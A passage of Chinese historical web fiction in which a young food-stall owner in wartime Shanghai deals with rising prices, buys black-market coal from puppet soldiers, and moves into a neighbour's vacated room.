不想她这一句话,引得于太太眼圈都红了:“这栋楼里,也就是顾小姐有点人情味。原来我们家不这样的,都是我先生的学校,现在人人都用回银币,他们还拿法币发薪。说是月月都涨薪,可涨薪的钱哪里抵得上米粮涨价的钱?还有房租,电费,巡捕房摊派,孩子的学费……这日子怎么就这么难。” 于太太也寂寞,在这栋小小的石库门里,只有吉拉太太跟她是同龄人。若是语言相通,或许两人能说上些话。可偏偏吉拉太太来海城四五年,华国语仍然只限于“你好”“吃饭了吗?”这几个有限的词语,平时只要有些空闲,她都是约上几个同族去找拉比做礼拜。 一捉到顾春妮,于太太不管合不合适,眼泪先流了一屉。待到春妮总算脱身之时,三楼上,夏风萍煮的饭都快熟了。 夏风萍接过被里略翻一翻,直撇嘴:“这个针脚也太粗了吧,她还敢问你要五毛钱手工费?这不是摆明唬人吗?你也真给了!” 夏风萍哪知道,春妮还在为她意外得的一百块钱寝食难安呢?以至于看见穷人,她就想起那天穿草鞋的人,忍不住得了个怜贫惜老的“病”。 她将于太太家的情况说了说,翻看着被里:“也没这么差,勉强过得去吧。大不了咱们另外那床被面送到裁缝铺去,让他们给缝。于太太家这么黑,也不舍得开个灯,说不定这被里是她黑着灯缝的。” 夏风萍就说:“于太太家两个孩子不是都送进学堂了吗?整天也不知道在忙活什么,家里既然这么困难,怎么不想办法找个工作去?” 春妮笑她“何不食肉糜”:“现在海城挤满了人,于太太有家庭,年纪也不小了。什么工作轮得到她来做?” 想起来又问:“放学前我让你买的生姜和大葱,你都买了吧?” “买了,我嫌味大,放到家辉的阳台上晾去了。你明天真准备免费给力夫送葱姜水?” “当然是真的了!穷人家生不起病,送一碗葱姜水花不了什么钱,也算我酬谢大家伙照应生意。”春妮量好面,拿着锅碗去下边灶披间烙饼,给夏风萍派活:“你也下去给我洗姜,明天我直接带到摊子上去熬水。” “还真准备当活菩萨了。”夏风萍嘀咕一句,转头进了朱先生的家。 因为小摊子的生意越发红火,春妮这回不止准备做善人,还打算扩大生意规模。 恰好前些日子春妮到铁号打的新锅造的差不多,第二天,随着葱姜水上市的,还有一锅她用特制卤料制作的卤煮。 穷人家吃不起好东西,春妮煮卤煮的材料都是鸡蛋,豆干,豆皮,莲藕,以及一些鸡猪牛羊的下脚料,搭着馒头和胡辣汤卖,一天也能卖出一两锅。 正好夏风萍招了大胖的二妹打杂,春妮就安排她看几眼灶的灶火。现在快到冬天,看灶火是个好活计,正适合像她这样体弱的小姑娘。这小丫头果然聪明,她看了几天灶火,竟给春妮提了个节流的好主意。 这是后话,暂时先不说。 却说金小姐,春妮第二天早上去摊子前,看见她的门上还挂着锁头,就知道他们谋划好几天的那事必然是成了。情况如何,只能等金小姐回来再问。 李德三在小食摊上干了数月,已经学会调制胡辣汤的味道,只是揉面搓面和熬汤上差了些火候。不过也正常,钟县做胡辣汤的小铺子不少,真正做出精髓,令胡辣汤辣得有层次,辣得有灵魂的,不超过两家。 春妮不敢说比肩那两家世代传承的手艺,但至少在水准之上。 春妮每天早上去时,他已经准备好熬汤的材料和做包子的馅料。是以春妮可以晚起一个小时,早上四点钟出发,做完包子后,最多到五点半六点就可以开始一早的营业了。 深秋的码头比夏天更加忙碌,来来去去的力夫和水手们络绎不绝,足足增加了两倍有余。 码头上什么消息都传得快,春妮早在几天前就得到了消息。经过数轮艰难的谈判,倭国人答应放松水面管制,就在这两天,码头就要开禁了! 在春妮眼里,江浦码头这座远东第一大内河码头已经足够繁华。她想象不出,码头全面开禁,将会是怎样的盛景。 但想必是十分值得期待的。 前两天已经有消息灵通的商船闻讯赶到了江浦,排队等待通关放行。 两天后,积累一年多的运力一下倾吐出来,整个码头从天亮到天黑,汽笛一声接一声都没断过,那些力夫和水手们连吃饭都是小跑着来回的。连带着,春妮小吃摊的生意也好得不得了。 夏风萍现在负责小食摊的采购,她中午抽时间去了趟市场,却回来告诉春妮说,市场的米价仍是居高不下,好在面粉虽然仍在涨价,比起米价来说,已经足够安慰。 春妮的家乡原本就是北方面食大省,夏风萍每天跟着她吃面食,现在也习惯了。米价变化,对两人的生活没有太大的影响。 奇缺的物资大部分都有了补充,唯独米价居高不下,这里头必然有不对劲的地方。只是春妮现在守着摊子,只能跟食客交谈两句,凭她掌握的消息,完全判断不出发生了什么事。只能跟其他人一样,有点钱就赶紧换成粮食。 而这个时候,夏风萍也提出个新问题。 “我觉得,咱们现在光囤粮食和柴禾也不行,你忘了我们还得囤一样东西。” “什么东西?” “煤。”她指着春妮热卤煮,胡辣汤和葱姜水的三个小炉子:“你这三个炉子日夜不能断火,现在快入冬,煤炭必然会涨价,你要早做打算了。” 春妮的小摊目前烧着五眼灶,煮汤蒸包子是两个柴火灶,这三个热汤水的都是煤球炉子。 入了冬,囤粮囤菜囤肉,什么都要囤,春妮花钱花得心疼,闻言“哎哟”道:“还要囤煤?现在煤好贵的,咱 们的钱不够了吧?” 就在这时,坐在灶台前看火的李二丫,就是大胖她二妹回过了头:“小顾姐,我知道有个地方有便宜煤。” “有便宜的煤卖?在哪?”春妮立刻不哼哼了。 二丫神色非常犹豫:“但那地方有点危险,小顾姐你也去吗?” 第46章 046 千里挑一 二丫说明白地方, 夏风萍和春妮就知道,为什么那里会有便宜煤卖了。 她说的那地方离江浦码头不远,是海城的一处货运火车站。如今被倭国人把持, 想靠近那里, 的确有些危险。 但之所以要去那买煤球,就是因为那里是火车站。 这个时代的火车全部是需要大量烧煤的蒸汽式火车,每当火车在车站停靠,车站员工就要往煤车里铲进大量的煤储备作为动力来源,一旦蒸汽炉里加的煤过多,还需要铲一些扔出来。在铲煤和加煤的过程中,火车缓慢行驶, 那些没烧尽的煤球或被铲出来扔掉,或从车缝中掉出来, 洒落在铁轨两边。 有在铁路边居住的居民便会趁天黑,或是没人的时候去捡煤球。 这些没烧尽的,捡来的煤球在北方叫半拉煤,大部分都是这些不怕死的人自用, 但有时也有一小部分会卖给别人。 因为煤炭不方便运输,一般他们都是先找好买主, 捡完之后就近约定个地点将煤球卖掉。 听完二丫的话,春妮觉得可以一试。 反正她没时间,也没精力亲自去捡煤球, 完全可以像她的前辈那样,跟人约好, 等别人捡得差不多后,谈好价钱,自己找辆车去拉就行了。 最最要紧的是, 倭国把持了海城所有的煤炭市场,将之收缴全部充作军用。如今只有少部分倭商取得倭军许可,可以将其中极少一部分贩给海城普通居民,再没有别的途径获取煤炭,这导致海城煤价跟米价一样节节攀升,每公斤市价上涨到两毛以上,两斤煤几乎可以买一斤面粉。 春妮就是因为煤价太贵,奢望重开水运之后价钱会降下来,才一直拖着没有储煤。然后,她拖着拖着,煤价由一公斤一毛八涨到了两毛一。 现在小吃摊有三眼煤球炉子日夜不熄,一眼炉子一天少说消耗三斤煤,一个冬下来,没有一吨煤打底,她的这三眼炉子休想安安稳稳地过完冬天。 一吨煤一百多块呢,把春妮上回卖药得的一百块填进去,都不够她买煤的! 煤炭价钱如果不稳定下来,的确会是大问题。 有了夏风萍的提醒,春妮甚至在考虑,有机会的话,自己是不是也往空间里储点煤比较好? 大胖他们家住的地方离那座火车站不远,第二天来上学,两个孩子就把价钱,品相,出货量,交易地点都给她打听清楚了。 春妮一听见价钱就拍了板:“一斤三分钱,这不跟白捡的差不多吗?我看这事可以干!” 三分钱的半拉煤,若说在战前,那绝对是坑人。可现在有了两毛多一斤的煤价对比,三分钱简直是天使出的价钱。 春妮要买半拉煤的消息让大胖妈知道,这妇人帮她找了位收煤人。双方约定好,如果煤的品相没问题,春妮需要的量大,价钱还可以再议。 只是他们的煤球是散捡的,每次交易量最多一两百斤,需要她去多拉几趟。 春妮表示都没问题。 就是那边路他们不熟,有一段还要穿过倭国人的值勤路线,夏风萍说什么都不让她一个人去,春妮只好答应带上李德三。 于是,在一个月黑风高的秋夜,春妮和李德三两个推着问学校借来的板车,躲躲闪闪地跟从收煤人的指点,沿着那火车站绕个大圈子,三人躲着人走了个把小时,看见一个铁路交通灯,收煤人才说“停下”。 几人在原地等了会儿,有零星几个背着筐子的半大小子过来,收煤人拿手掂掂筐子,一个一个给说出个数量,最后跟春妮说:“约四十三斤,把这次的帐先清了吧。” 春妮半张了嘴:“不是说一两百斤吗?这个量不够吧?”岂止是不够,简直是差别大了!要是回回来只有这点量,她得来二三十回才凑得够一千斤的煤。何况半拉煤不够烧,一千斤绝对打不住。 收煤人就说:“一两百斤是平常的数,买家又不止你一个,你们几个分一分,就没有那么多了。” 现在是卖方市场,春妮不好得罪她,每天出多少货,能给她多少,收煤人心里肯定有数,偏干看这一路,都不提醒她一下。亏她还问学校借了那么大个板车,就收来这几斤煤,她一只手都能拎回去。 春妮把地方记住,什么都没说,让李德三推着车子,两人再避开人群,小心翼翼地回去了。 再去第二回,春妮说什么都不让李德三跟了。李德三想想,一天就这四五十斤煤,两个人去不合算,春妮一个人的确能解决。反而是码头上最近人多,又太乱,夏风萍一个姑娘家不好总在他们买煤的晚上守着摊子,的确没必要出这么大阵仗,答应下来。 没有李德三跟着,春妮只会更轻松。越靠近铁轨,越有可能碰到倭国巡逻军,难怪大伙都知道这块有煤,但敢来的,千里挑一。 再到买煤的时间,她当着人面将装煤的挑筐,担子背篓用具一概备齐,等走到背风没人的地方,一个闪念,将东西全收进空间中,再出来时两手空空,轻轻松松地就走到了地方。 快到地方时,再将篓子取出来,跟收煤人结好今天的帐,将煤炭连着筐子往空间里一收。不用自己出力气挑煤球,简直美滋滋。 如此两回之后,两方熟悉下来,定好每隔一天取煤。收煤人给春妮的量调高了一些,多的时候能拿到七八十斤,但少的时候只有一二十斤。 春妮就这么保持着白天卖早点,晚上摸黑买煤的习惯将近一个月。直到有一天晚上,她买完今天的煤,刚将那篓子煤收进去,走出藏身的废墟,听见数声“轰轰”的发动机声音。迎面几辆倭国军卡从对面驶来。 倭国人的军卡在海城行驶又不是稀奇事,春妮蹲下来,等着那几辆车过去。 这时,其中一辆在她面前的这座废墟前停了下来,在军卡刹车的那一刻,因为惯性,车厢里甩出一点东西。 春妮吓了一跳,瞬间拿出空间最先进的武器,悄悄退回阴影处。 这边虽然是一处废墟,但往前走不到二十米,就是一处棚户区。那里道路复杂,人流密集,只要有机会跑过去,甩脱…… 须臾,那辆军卡车门打开,副驾上跳下个人,哼着歌朝废墟走来。 这人偏走路不好好走,春妮听着他嘴里乱七八糟的“妹妹给哥香个嘴儿”,放松下来:不是倭国人就好。虽说这些所谓的皇协军更可恶,但跟倭军的战斗力完全不是一回事。 春妮脑子里紧张地想着,怎么解决那人时,这人哼着歌走到一处矮墙前面背对着她站住了。 一阵悉悉索索的声音之后,水流滴溅的声音响起来。 春妮:“……” 春妮头往外探出一点,透过副驾,她能看到驾驶座上的那个人正闭着眼睛小寐。 她完全放心下来,正在这时,她看到了那点被甩出来的东西,那是一小撮煤渣。 春妮心中一动。 废墟里,这个撒完尿的家伙已经系好腰带在往外走。 她又往后退两步,刻意弄出来点声响,那人吓了一跳,举起枪叫:“谁?!” 春妮拿围脖捂住嘴脸,举起手从阴影处走出来,露出个无害的笑:“皇军大人,是小的。” 那人见只是个干瘦的小姑娘,放下心来。正在这时,车里的人听见动静,向这边看过来:“发生什么事?”声音生硬,是个倭国人。 “没事,碰到个过路的人。”说完,转身低喝道:“你躲在这干什么?” 春妮不好意思地笑了笑:“刚刚内急,就……对不住,没吓到您吧?” 那人放下枪,没好气道:“你说呢?幸好你碰到的是我,要是别人,不去掉你半条命都是轻的!滚吧!” 春妮往军车的方向小心翼翼地看了眼:“皇军大人,你们,这是在往火车站运煤吗?” 那人又警惕起来:“你问这些干什么?” 春妮忙道:“您别紧张,我没别的意思。就是我看您拉的煤车,想问您买点煤。嘿嘿,现在的煤太难买了。” 他瞪大了眼睛:“这是倭国人的煤,你不知道?” “我知道,”春妮压低了声音:“我要得不多,您看这四下无人,只要上车挥两下铲子就能赚钱,您看?” 这人目光闪动着,显然极其心动。 “你这小丫头片子,胆子不小,倭国人的墙脚也敢挖。” 春妮脸上憨厚地笑着,取出一块大洋放在手心。让高天上的月光一反射,这枚大洋放出了诱人的光亮:“皇军大人,我们家是开食铺的,需要的煤多。你要是答应,这些钱都是你们的了。要是这生意能做,咱们肯定不会只做今天这一回。您看?” 呵,当她不知道。码头上那些倭国人查走私船查得严吧?其实嘛……只要有足够的钱,他们什么事干不出来? 春妮另一只手暗暗摸住衣襟里的枪托:这人不答应更好,这会儿大部队走了段距离,路上只有这两个人。她动作快些,来个黑吃黑……空间里她常年预留的有空位,那一卡车的煤足够她用到后年去了……怎么算都是稳赚不赔。 “你在这等会儿。”他撂下这句话,跑回了卡车。 数分钟之后,春妮挑起两筐黑亮密实的煤筐,听后边人叫她:“明天这个时候在这,你可别骗我。记得不能说出去。” 春妮翘起唇角:“皇军大人,我嘴巴最紧了。”看吧,只要有钱,我就说这些人什么都敢干。 ………… 春妮另外找到途径弄来便宜煤的事瞒得过别人,瞒不过方校长。 小吃摊就这么大,她只能将买来的煤用油毡包一包,堆在学校小操场里。方校长一天在学校里转悠八百遍,看不到才是稀奇。 起先的半拉煤,一看就知道来历,方校长知道这样的煤,数目都是一定的,不好开口问她。但后边这些明显是上好的黑煤,她是从哪弄来的? 学校里每天给学生烧饭,虽说主要烧柴灶,但用掉的煤也不少。海城闹煤荒,一天天到处买不到煤,学校资金还出了问题,方校长也头疼。 春妮没瞒他,将她跟几个皇协军搭上,偷火车站煤卖的事说了。 方校长大吃一惊:“你胆子太大了,跟这些人也敢来往!” 春妮无奈道:“这些人只要一两块钱,就给你铲好几担煤下来,合计一公斤不到一毛钱。校长,换你你不心动吗?” 方校长:“……”他还真的挺心动!就是学校不用,他们几个老师也要用煤球炉子热水热饭,一个冬下来,耗费也是很可怕的。 他搜肠刮肚,找出点理由:“那这些人翻脸怎么办?被他们缠上可不好受。” 春妮将棉衣领子一竖,戴上她的黑色绒线帽子,再用围脖将脸包得只剩一双眼睛,放粗嗓子:“校长,你还认得出我吗?”又说:“我们现在早就不当街卖煤了,买之前留暗号,隔两天换个地方,安全着呢。” 方校长:“……”这丫头是不是做过秘密工作? 再过两天,方校长找到春妮,别别扭扭地开了口:“你那个……买煤的路子真的没问题?” 春妮笑了:“您直说吧,想要多少。” ………… 春妮这边偷偷挖起了倭国人的墙脚,而常先生那边,随着跟倭国人的谈判到达尾声,斗争也日趋白热化。 她这段时间忙活得脚不沾地,常先生固然也忙,却还是忙中抽空地把小常先生给她派了过来。 第47章 047 敲山震虎 对小常先生时不常来检查她作业考试这件事, 几次下来,春妮已经能够保持平常心了。 不保持不行,任何一个人一星期少说给你送一次书, 两星期少说给你布置一门考试题。不想精神压力过大, 也只能学着保持平常心。 唔……春妮对精神压力这个问题,决定先保持看法。 至少现在看见他从包里往外掏东西的姿势,春妮心里仍会下意识地一激灵,反倒把两人合伙干过的,更危险的事抛到了脑后。 常文远笑得相当没有同情心:“瞧你吓的那样。放心吧,我这次不是来考你的。”他转身拿下自行车筐里放的纸袋:“是我伯母。她说最近天冷了,给你织了件绒线衫, 托我把东西给你送过来。” 春妮翻出纸袋里的衣服:这是件红白横条纹的厚毛衣,织成外套的样式, 领口贴心地竖起来。不知常太太用了什么针法,毛衣的针纹呈菱形铺开,洋气极了。 春妮的视线定在毛衣上,挪不开眼神。 她娘在那会儿, 她季季也有娘裁的新衣裳穿。特别是到了过年,每年一件红衣裳必不可少。那时候她嫌土气, 时常闹别扭不肯穿。 即使是这样土气的红衣裳,往后再都没有了…… “真好看。”她比了比样式,生怕外套沾上胡辣汤的味, 没敢多摸,珍惜地叠好, 再放回纸袋。 春妮瞧见常文远憋笑的神情,忽然回过味来,瞪眼道:“那你刚刚假装掏东西, 是在故意吓唬我?” 常文远笑容一滞:这丫头可不好得罪。 眼神一转,看见正背着书包往小摊跑的夏生,忙招呼他道:“夏生小阿弟,快来,我送你样好东西。” 夏生如今也跟这个时不时来寻姐姐的小哥哥熟悉起来,闻言不认生地跑到他面前:“文远哥,你要送我什么?” 常文远哪知道? 他将手伸进公文包里,掏啊掏,掏啊掏,总算寻到一个合适的东西:“这个给你,想不想玩?” 这是一个约巴掌大小,做工极为精巧的飞机模型。这个飞机模型用铁皮打制,外边漆着白漆,尾翼和机身上用蓝色粗线划着简单流畅的符号,机身,尾翼,舷窗,起落架,该有的都有,甚至还有个小小的推拉门,拉开看去—— 夏生摸上就舍不得放手了,眼中放出渴望的光:“想玩,我想玩!姐姐?” 常文远笑着摸摸他的头,将模型塞给了他。 反而是春妮有些不安了:上两个月她跟朱先生几个去好莱坞游乐园玩时,见过类似的模型,要好几块一个呢!而且那个模型只是一个简单的框架,远远比不上这个精细。 春妮犹豫地说:“这个是不是太贵重了?”有心想让夏生还给别人,可夏生来海城这么久,自己还没给他买过一件玩具,他又这么喜欢,又有些不忍心。 常文远不在意地摆摆手:“一个小模型,有什么贵重不贵重的,拿着吧。” 春妮想了想,从匣子里抓出把钱来。 常文远急忙跳开:“别,不过是随手做的小玩意,真不用给什么钱。” 春妮奇道:“这是你做的?你不是读建筑系的吗?” 常文远道:“读建筑系就不能做飞机模型了?” 话不是这么说的吧…… 春妮还想问两句,这时来了一拨客人,她只能放下钱,先去招呼客人去,顺便给他盛了碗胡辣汤,又叫二丫给他切了点卤豆干和卤水花生。 他也不挑剔,坐下来一口一块小豆干,再磕个花生,吃得津津有味。 待到一拨客人安顿好,春妮见常文远还没走,拖个凳子在他身边坐下:“你是不是忘了什么事跟我说?” “什么事?”常文远看见她这巴望的小眼神,忍不住就想逗逗她。 春妮白他一眼:“别跟我装,你们大学的事,办得怎么样了,也没个准话说?” “这件事啊。”常文远收起脸上的谑笑,喝完最后一口胡辣汤,搁下碗站起来朝外走。 春妮会意 ,跟在他后头走了出去。 因为水路开禁,这会儿是正热闹的时候。码头上不说人山人海,来来回回的人也是络绎不绝,尤其是货运的大路上,牛马骡车连绵成片。 两人一直走到码头西边的空地,跟码头最前边形成一个对角停下。 码头的顶角,穿土黄色呢绒制服的倭国士兵排成一两列不容忽视的,细细的黄线。 “我们要的学校主要设备已经搬到了新校区,书籍应当也快了。” 春妮静静等着他下面的话。 他却先问了一句话:“你知道我来之前还去了哪?中英友好医院。” 春妮心中一紧:“是常先生又出事了?” “那倒不是,”直到此时此刻,他神情中方露出点忧郁:“是张鹤年张先生,你应是见过他。他刚回海城第二天,也就是昨天在大榆门遭遇抢劫,被劫匪捅了几刀,身受重伤。”大榆门在城西,正是传说中人人色变的海城恶土所在。 春妮失声道:“又是倭国人动的手?在这种国际舆论下动手,他们真的一点不怕?” 常先生遇刺的事,方校长后来曾找到好几版国际报纸的报道同他们讲解过国际局势。据几位兼职国际形势分析员分析,倭国人本国资源有限,劫掠华国的计划又受到事先没想到的阻碍,受资源所限,必然无法久战。他们想获得国际社会的帮助,必须顾及国际舆论,不能做得太过分。 而常先生的事各国政府,包括搬到双城去的政府都长篇累牍地大做文章,倭国人除非想飞出太空,否则基本不可能在这样的压力下对他再次下手。 常文远摇了摇头:“还在调查中。那个人混在难民人群中出的手,张先生身边人还没反应过来,人已经跑了。” 春妮松了口气,犹疑道:“需要我帮忙吗?” 她跟常先生打过的交道较多,知道张先生虽是学校的创办人之一,他的主要精力放在海城中小学教育上。毕竟被倭国人炸了这么多学校,海城的失学儿童和少年非常多。听常先生说,这段日子张先生一直在找场地办学习班,争取部分失学学生复课。 还有难民的工作问题,也是张先生负责的方向。春妮听说,他已经开设了好几个教授技能的难民学校。 “那倒不用,张先生已经度过了危险期。”常文远戴上手套,准备离开。 春妮连忙让让二丫把卤味打包几样,叫他带回去送给常太太:“不是什么值钱的东西,拿回去给常先生当下酒菜吧。” 常文远接过纸包,说道:“伯父拿你当晚辈看待,你往后别这样生分,像以前一样寻常走动。若是有空,经常去看看他,他会更高兴。” 春妮正心虚着呢,那五十块她推到常先生头上,还是有点怕先生真的追问她,她露出破绽。而且常先生的考试,那也是很可怕很可怕的…… 当然她再傻也不会说,我可不敢去常先生家。转移了话题,道:“张先生的事,这怕是倭人在敲山震虎,他们不耐烦了。你劝劝常先生,让他不要操之过急。” 常文远欲言又止,春妮立刻发觉,问道:“怎么?你还有什么没说的。” 常文远神色难定,见她脸上难掩忧色,终于道:“张先生遇刺后,学校的老师们都怕自己成为下一个目标,又提起了搬迁的事。我瞧伯父没有再像以前那样反对,只怕——” 春妮欣喜道:“吴江大学终于要搬了?这是好事啊,你早该同我说的,犹犹豫豫地吓死个人。” 常文远看了眼学校的方向:“没那么简单,伯父说,张先生受了伤,为免留下去再度生变,伤势稳定后就要走。还有江先生,他从夏天起就不在海城。若是他们都走了,报童学校更难办下去,他的意思是,要到吴江大学的书之后,老师们立刻走,他还是想留在这。” 报童学校是常,张,江三位先生一手筹办起来的,春妮同常先生接触得多些,知道资金筹集多艰难。若是他们不在,的确难以为继。 但再艰难,也比不上人命的宝贵。东西毁了可以再建,人没了,就真的什么都没了。 春妮急道:“常先生怎么还想不通呢?不管怎么说,先避了祸再说啊。以倭国人丧心病狂的德性,他留在这又能有多大用处?” 提到常先生的固执,常文远也头疼:“再看看吧。形势在不断恶化,你们这段时间也注意着些。” 再说下去,好不容易轻松的气氛又要被毁掉。 常文远不喜欢小姑娘脸上的忧郁,他想起先前在伯父那听说的一件事,另起了个话题:“我听说,你们学校的学生最近在帮人印宣传单?做得怎样了?” 这件事也是春妮的得意之作,她将宣传单跟金小姐的渊源说了,笑道:“那自然是顶呱呱了。我们接了宣传单可不是乱发,而是有针对人群的。像金小姐,我们就很注意只在各大舞厅散场时发给那些去大舞厅的男士。对街的西餐厅寻我们,我们会做英文版和法文版专门找外国人发,我们的小学生都是街面上讨生意出来。哪里有什么人,他们还不清楚?一般的广告商家可没有我们这样的资源和实力。我们这也是自筹资金,自谋生路,给常先生减轻了负担吧?” 常文远笑了起来,赞许道:“很是。”他好奇地问: “你们先说的那位金小姐。发过这次宣传单后,她的经济状况有改善吗?” 第48章 048 红火 金小姐的经济状况当然有改善, 但她个人条件在这,就算靠学校给她画的宣传单起死回生了一段时间,想要咸鱼翻身, 基本是不可能的事。 经过这次打击, 想必金小姐也看清了这一点。 她前所未有地勤快起来,从舞厅下班后的白天也不闲着,经常好多天不见人影。就连常年在自己屋里长蘑菇的于太太都说,也不知道她天天早出晚不归地在忙活什么,简直成了这栋小楼里最神秘的人。 春妮这个月也只碰到过她一两回,有一回听她说,她物色到了几个不错的对象, 如今正在一一接触,一一排除, 争取在过气之前找个好人上岸。 金小姐也承认,那几个“好人”嘛,他们家里都是有太太的。 她如此坦言相告,春妮真不知道自己帮她是对是错了。 她帮金小姐是指望她趁自己没凉多捞点钱, 或是学个技能什么的,哪怕是挣点丰厚的嫁妆, 找个为人踏实的男人嫁了呢,可没想过让她去当小三! 夏风萍一贯的心怀大爱:“你这么想,至少这次出手帮她免去了坠落深渊的命运。你是为了救人。救人总不会错吧?” 话虽如此, 可她真的救了金小姐吗?金小姐要走的这条路,真的后顾无忧? 她将自己的烦恼告诉给常文远, 这人用下面这席话打发了她:“对了,我有件事没同你讲。这次我来找你,伯父告诉我, 现在海城外国人多,你至少得学一门语言。他想建议你学英文,我来之前,他正找人买英文词典。” 他露出个“你好自为之”的神色。 春妮顿时头大如斗,什么“金小姐该不该帮”这种事当即抛到了九天云外。 不得不说,有时候人是有点不经说,白天春妮才跟常文远说起金小姐的事,晚上下班回家,就看见金小姐站在门口等她。 “我要搬走了。”她请春妮进屋,说是有东西给她,结果进门扔出这个消息。 春妮想起她这段时间忙活的事,问道:“你要搬去哪?” “在法租界,”金小姐一脸的扬眉吐气,脸冲着灶披间开声:“丽莎公寓呢。姐姐要嫁人了,来请你吃糖。” 这会儿灶披间只可能有于太太一个人,她这是临走都不忘让于太太不痛快。 春妮可不愿意当夹在当中间,当她们俩的炮灰,拉了脸要往外走。 金小姐拉住她,抛下几句诸如“你以后要是有什么事,记得到丽莎公寓来找姐姐”“姐姐七 天后定在海都大酒店办席,到时候妹妹可记得要来”等话。见春妮眼神愈发冷淡,冲她小声讪笑两声,关门把春妮推进了屋。 反正她就要走了,春妮不差这点时间看她表演。 金小姐不知为何,见着这小姑娘的神色,心竟是有点虚,干笑两声,从柜里取出个礼盒:“一直说要谢两位妹妹帮我,偏巧这些日子总碰不到一处。如今我要走了,这点心意,你们可要收下。” 春妮跟好吃的没仇,看在这一盒子高档糖果的份上,神色松了松:“我们其实也没帮上什么忙。” 金小姐只当她在说客气话,从坤包里取出两张请柬:“还有七天后的酒席,定在下午六点钟。这是你和夏小姐的,别忘了带着弟弟来给姐姐我撑场子啊。” 她还真准备办酒席? 难道真有个正正好的单身汉要娶了她? 春妮接过请柬,扫了一眼,没说去,也没说不去。 总归是相识一场,她说:“我上回说的话,仍然是有效的。金小姐,要是你以后有空,想学点东西,随时可以来找我,我帮你联系学校。” 前头常文远跟春妮说过,张鹤年先生开设了好几个帮助难民学习工作技能的学校。学校有低级班和高级班,低级班只对难民免费开放,学的是卷烟丝,裁纸盒子,踩缝纫机,餐厅礼仪,缫丝选茧等初级技能。高级班则教授些简单的字,中文外文都有,以及打字班,速记班,财务班等需要有基础的课程,这就要交些费用了。 金小姐搬得很快,第二天春妮回家时,看见詹姆斯在往外张贴招租的广告,她的屋子已经空了。 春妮在金小姐的空屋子前站了站,叫住詹姆斯:“你先别贴广告,这房子我租了。” 她早就嫌住在阁楼上地方小,每天搬上搬下烧饭也不方便。只是这一带房子着实紧张,一直没找到合适的,拖到今天,总算有一间空房子了。 春妮昨天从金小姐那出来时问过吉拉太太,金小姐住的这间后厢现在一个月的租金是十八块。十八块钱比她原先房子的两倍价还高,再加上每月巡捕房,水务局的摊派和其他费用,要二十来块钱呢。但金小姐这间房临着天井,旁边是楼梯,楼梯再往旁边走就是灶披间。不临街不吵人,出了门还就是大街,地段相当的优越,根本不愁租。 夏风萍听春妮一说,就心动了,极力鼓动她租下来。她说阁楼里冬冷夏热,夏天热大伙还可以睡阳台克服,可冬天天气湿冷,这块地方又是临江,房子朝向还靠北,她和夏生都要长身体,长时间睡在这样的房子里,对身体不好。又说考虑到这间房子的租金的确高昂,自己也可以承担一些房租,或是用春妮付她的工钱代替房租。 现在学校有了印刷宣传单的副业,这段时间生意不错,方校长便作主给主要代课老师都涨了薪。春妮这里生意也红火,给两位伙计都涨了工钱,这位大小姐的日子总算不再像刚开始那样拮据。 有朱先生和吉拉先生家的几个儿子帮忙,两人当天把东西全搬下来住了进去。搬下来当天,夏生兴奋得一晚上没睡好觉。 跟阁楼里那扇只能半开的老虎窗不同,这间房子靠天井一个窗户,靠隔壁弄堂又一个窗户,看着就敞亮。其他的不说,一住进去,连春妮都觉得,呼吸的确是畅快了许多。 再者,这间房子少说有十三四个平方,房里上几任房客留下的衣柜,饭桌,椅子,她们后来添置的家具,再加上吉拉太太许他们把阁楼里原先的家具都搬下来摆上,也是个像样的蜗居了。 夏风萍跟姐弟两个挤在一张床上睡了好几个月,总算有地方腾挪。这回她无论如何也不肯再委屈自己,第二天就去旧货市场淘了张单人床回来。 春妮则是背着人将存放在空间里的铁制折叠床取出来背回家,把夏生也挪了出来。房间里再拉个帘子,两个姑娘睡在里边,夏生睡在外边的折叠床上。若是有客人来,将床折起来,饭桌搬到中间,再将他们先买的小书桌一拼,一学校的老师们再加一个朱先生坐上去都不嫌局促。 来海城五个月,将近半年了,总算可以一个人独霸这张双人大床!春妮走路都是带风的。 只要肯花钱,想偷懒简单得很。 春妮从开始做馒头生意,需要长时间占用灶眼那会儿,跟吉拉太太有过约定,有空会帮她打扫楼房的公共地区和面包房。即使在她后边最忙的时候都没有失约,直到她入秋之后将学校的摊位固定下来。 因此,她跟吉拉太太一家关系一直很好。 这回她跟吉拉太太商量,想在天井边靠她们房间的位置另外砌个柴灶烧饭,胖胖的中年妇人只是犹豫了一下,让她不要把墙面熏脏,就答应了。 春妮想砌柴灶,除了不想跟其他租户抢灶眼之外,还因为她想推出新品。 现在码头上人非常多,以前每天春妮早上准备两百个馒头,三百个包子,可以卖到上午十点左右,如今不到七点就被抢干净了。因为春妮的小吃摊做出了名声,甚至还有提着篮子的船娘来找她批发馒头,专门卖给那些卖给留在船上等待检验,暂时无法靠港的水手们。 春妮不想每天不停地揉馒头,琢磨几天,想出了一个懒人办法——做发糕。 做发糕的原理跟做馒头差不多,都需要发酵。只是做发糕需要加糖,不需要揉制,发酵的时间也长。这个天气,如果晚上备好料,放在大锅里,用灶火的余烬温一晚上,第二天带到小吃摊,直接可以上锅蒸,省时又省力。 自己单独砌一眼灶,不用跟别人抢。 砌灶台的人也不用费心去寻,上回王氏兄弟跟春妮吹过牛,说他们会砌墙和泥这些简单的活计。只是海城现在房地产生意不好做,他们哥俩也没有了用武之地。 她把王阿进叫来,出了一块钱,在里弄前边的废墟里捡来几块破砖头,果真不出半天,黄泥和着青砖砌的灶台就搭好了。 春妮几个忙活新房子这两天,于太太一家搬进了他们空出来的阁楼。吉拉太太没再张罗招贴租房广告,两天之后,一户刚到海城的犹太人成为了新房客。 这户人家一共四口人,两大两小,没有女主人,男主人叫格林。还有两个孩子和一个瘸腿的老人,老人叫普尔南,是格林的岳父。这家人看着不富裕,但都非常整洁。 没过几天,夏生将这家人的来历问出来,回家跟姐姐们学嘴:“约瑟夫说,格林是他们的堂叔,才到海城没有三个月,以前住在街西。” 跟春妮所在的路口不同,街西已经形成了一个纯粹的犹太人聚居区,那里每天都有源源不断的新面孔入住。夏生曾经跟约瑟夫去玩过一回,说那边人住的都是架子床,一个他们阁楼那样的小房间,足足摆四五张架子床,入住十来个人呢。 在那之后,春妮就不叫夏生去了。那边陌生人来来去去的,最好混水摸鱼,肯定也是人贩子重点盯梢的地方。 小楼里来个新面孔不容易,夏生对这一家人兴趣很大。 春妮每天都能听见这家人的新消息:“普尔南老爷爷以前是个钟表商,他的腿说是在来我们国家之前被坏人打断了。格林先生不是医生吗?怎么没给他岳父治腿?” 